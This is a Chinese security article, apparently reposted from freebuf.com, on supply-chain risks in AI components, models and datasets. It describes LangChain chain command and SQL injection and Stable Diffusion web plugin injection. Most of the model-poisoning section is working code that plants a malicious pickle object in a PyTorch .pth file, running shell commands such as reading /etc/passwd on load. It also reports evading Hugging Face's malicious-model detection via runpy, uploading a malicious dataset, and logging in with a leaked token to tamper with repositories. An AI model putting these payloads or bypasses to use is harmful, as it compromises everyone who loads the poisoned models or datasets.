一、前言

记得日志记录组件Log4j2漏洞一爆发，便在全球掀起轩然大波，国内外各大厂商均受影响应急响应。那在一个细分的大模型领域，同样也需要我们关注大模型供应链安全的健康状况。

二、组件供应链安全

2.1、如何搜集AI组件呢？

我们可以订阅所有的漏洞情报，但是如何区分我们关注的AI组件呢？我们需要整理一个AI组件大盘。AI在2023年大爆发，AI生态也不断完善，我们可以通过一些AI生态系统上去搜集他们使用的组件。

2.1.1、开源项目

在知名的开源平台github开源了很多AI相关的项目，github上有一个tag的标签，并且通过Topics把所有的tag聚合起来提供用户查看。

https://github.com/topics/machine-learning
https://github.com/topics/deep-learning
https://github.com/topics/ai

2.1.2、docker制品镜像

AI相关产品的镜像平台：https://www.codewithgpu.com/image，这里我们可以看到很作人制作相关的AI产品镜像供大家直接下载使用，我们可以去下载镜像通过命令的方式或者文件分析的方式提取所使用的组件。

这里我们讲平台所有的镜像地址都给记录下来，由于镜像仓库是阿里云，所以我们申请一台阿里云的机器进行pull镜像（可以使用阿里云内部镜像渠道下载，速度以及成本会降低很多），然后依次启动遍历里面的组件（可以进行解压镜像遍历/site-package/或者启动容器pip list）。

2.2、如何识别组件为AI组件

通过GPT4去做识别，因为GPT4的知识也是比较新，通过以下提示词进行判断

判断python库torch是否与ai、深度学习、机器学习相关

可是我们的组件是万级别的，全部一个一个识别费用比较贵，可以进行批量识别。

'''
torch
img2pdf
'''
判断上面python库是否与ai、深度学习、机器学习相关，输出csv格式 

同时情报系统也会对采集到的情报进行分析，如组件进行分类是否跟AI相关。

2.3、组件漏洞案例

2.3.1、LLM特性导致命令执行-LangChain

我们知道大语言模型有一个agent的概念，LangChain有个类似的概念叫Chain。可以像一个智能体去思考、行动、观察结果（Acting是让语言模型去调度外部API的过程。整个 ReAct 的过程就是不断的 Thought-Act-Observer ，先思考再行动再观察，从而引发下一步的思考行动观察。），比如我这里设置两个tool，一个是搜索历史事件，一个是计算数字。

但是问题就是出现在LnagChain自带的Chain上，比如我让LLMMathChain去执行命令，

不仅仅算数这个Chain，与数据库交互的SQLDatabaseChain也存在同样问题，当使用LangChain的SQLDatabaseChain与数据库进行交互时，攻击者可以注入恶意的SQL语句，执行任意SQL语句，窃取数据库内容甚至接管数据库所在的系统以及窃取系统敏感文件。

2.3.2、漏洞频发在文件功能-Stable Diffusion web

大模型一些组件的漏洞频发在一些文件相关的功能（大模型的特性，涉及大量的文件处理），比如数据加载、模型加载、插件加载等。

这里Stable Diffusion web有远程加载插件，我们插件注入恶意代码，即可执行命令成功。

2.3.3、需要关注的AI组件安全风险

不仅仅上面两个组件，还有如下笔者关注到频发漏洞的组件。这里也推荐一个专门针对AI组件的赏金平台：https://huntr.com/（会公布PoC）。

当然更重要的是结合业务自身的情况，搜集业务机器上或代码上，看下实际使用情况，再以此判断是否要进行跟进。

transformers
LangChain
stable diffustion
Datasets
Label Studio
mleap.tensorflow
PyTorch Serve
Submarine
mlflow
h2o
Paddle
Gradio
LlamaHub
Ray

三、模型/数据供应链安全

3.1、平台本身安全

大模型hub平台主流为下面两个平台：

https://huggingface.co/

https://www.tensorflow.org/[1]

攻击者一般通过如下两个方式进行投毒：

1、开发者的token泄漏，导致攻击者能够控制开发者仓库里的模型以及数据集，以此投毒。

2、攻击者通过注册已注销的仓库或者注册类似的仓库名以此投毒。

这里尝试寻找huggingface平台的泄漏，很快在github平台发现泄漏的token，并且，

python3 -m pip install --upgrade huggingface_hub
huggingface-cli login --token hf_xxxxxxxxxxxx

可以进行上传篡改。

3.2、模型投毒

模型投毒也是比较简单，只要你远程或者本地加载模型，就可能被黑客入侵。

从场景的pth格式模型，直接通过torch的load和save函数分析，来看下如何加载和生成模型的。

以模型为例：https://download.pytorch.org/models/resnet18-f37072fd.pth

torch/serialization.py#save 函数逻辑

只要我们注入恶意对象到obj字典，受害者加载模型（自动反序列化），电脑就会执行黑客命令导致被入侵控制。

模拟collections进行序列化和反序列化，发现是确实能够执行任意代码。

import collections
import pickle
import runpy
class Demo(object):
def __init__(self):
import runpy
def __reduce__(self):
return runpy._run_code, ("print('[*]pwn!!!')", {})

print("[+]dumps")
d = collections.OrderedDict()
d['evil'] = Demo()
obj_str = pickle.dumps(d)
print("[+]loads")
pickle.loads(obj_str)

这样意味着我们只要往这个OrderedDict字典里面增加我们的恶意对象，被torch反序列化后保存为模型文件，再被其他人正常默认加载我们的恶意模型，电脑即被控制。

这里是对原生的pickle序列化进行稍微的改造：在序列化的对象中注入了我们恶意的对象。

import runpy
import pickle
import struct
import torch

class Demo(object):
def __init__(self):
import runpy
def __reduce__(self):
return runpy._run_code, ("import os;os.system('w')", {})

class PickleInject():
"""Pickle injection. Pretends to be a "module" to work with torch."""
def __init__(self):
self.__name__ = "pickle_inject"
class Pickler(pickle._Pickler):
"""Reimplementation of Pickler with support for injection"""
def __init__(self, file, protocol):
super().__init__(file, protocol)
def dump(self, obj):
"""Pickle data, inject object before or after"""
if self.proto >= 2:
self.write(pickle.PROTO + struct.pack("<B", self.proto))
if self.proto >= 4:
self.framer.start_framing()
obj['evil'] = Demo()
# Pickle user-supplied data
self.save(obj)
self.write(pickle.STOP)
self.framer.end_framing()

model_path = '/Users/lufei/Downloads/resnet18-f37072fd.raw.pth'
evil_model_path = '/Users/lufei/Downloads/resnet18-f37072fd.raw.pth.evil'

torch.save(torch.load(model_path), f=f"{model_path}.evil", pickle_module=PickleInject())

torch.load(evil_model_path)

更简单的方法：只要往模型对象里面添加一个evil对象即可。

import runpy
import torch
class Demo(object):
def __reduce__(self):
return runpy._run_code, ("import os;os.system('cat /etc/passwd')", {})

model_path = '/Users/lufei/Downloads/resnet18-f37072fd.raw.pth'
evil_model_path = '/Users/lufei/Downloads/resnet18-f37072fd.raw.pth.evil'
model_dict = torch.load(model_path)
model_dict['evil'] = Demo()
torch.save(model_dict, f=f"{model_path}.evil")
torch.load(evil_model_path)

huggingface目前是有检测机制，发现告警

这里使用runpy方法进行绕过，进行上传恶意模型测试，发现无告警

3.3、数据投毒

数据投毒同样简单，只要你远程或者本地加载黑客的数据集，就可能被黑客入侵。

from datasets import load_dataset
data = load_dataset('xxx/xxxx')

调用栈

import_main_class, load.py:166
get_dataset_builder_class, load.py:251
load_dataset_builder, load.py:2294
load_dataset, load.py:2587
<module>, test7.py:3

加载本地数据集执行命令

远程加载数据集：这里上传了一个恶意数据集到https://huggingface.co/，然后进行加载远程触发命令执行。

四、防御

供应链防御是一个比较大的话题，这里简单说一下结合自身检验的一些措施（具体方案需要结合自身情况去做）。

4.1、感知

1、情报

2、静态扫描+动态沙箱

3、资产影响面

4.2、阻拦

1、HIDS阻断

2、四层、七层阻断

4.3、内生安全

1、自建软件源，并且进行安全赋能（安全保障自建软件源安全）

五、总结

在AI的传统安全问题，供应链是突出问题之一，还有其他哪些突出安全问题呢？

原文来自: freebuf.com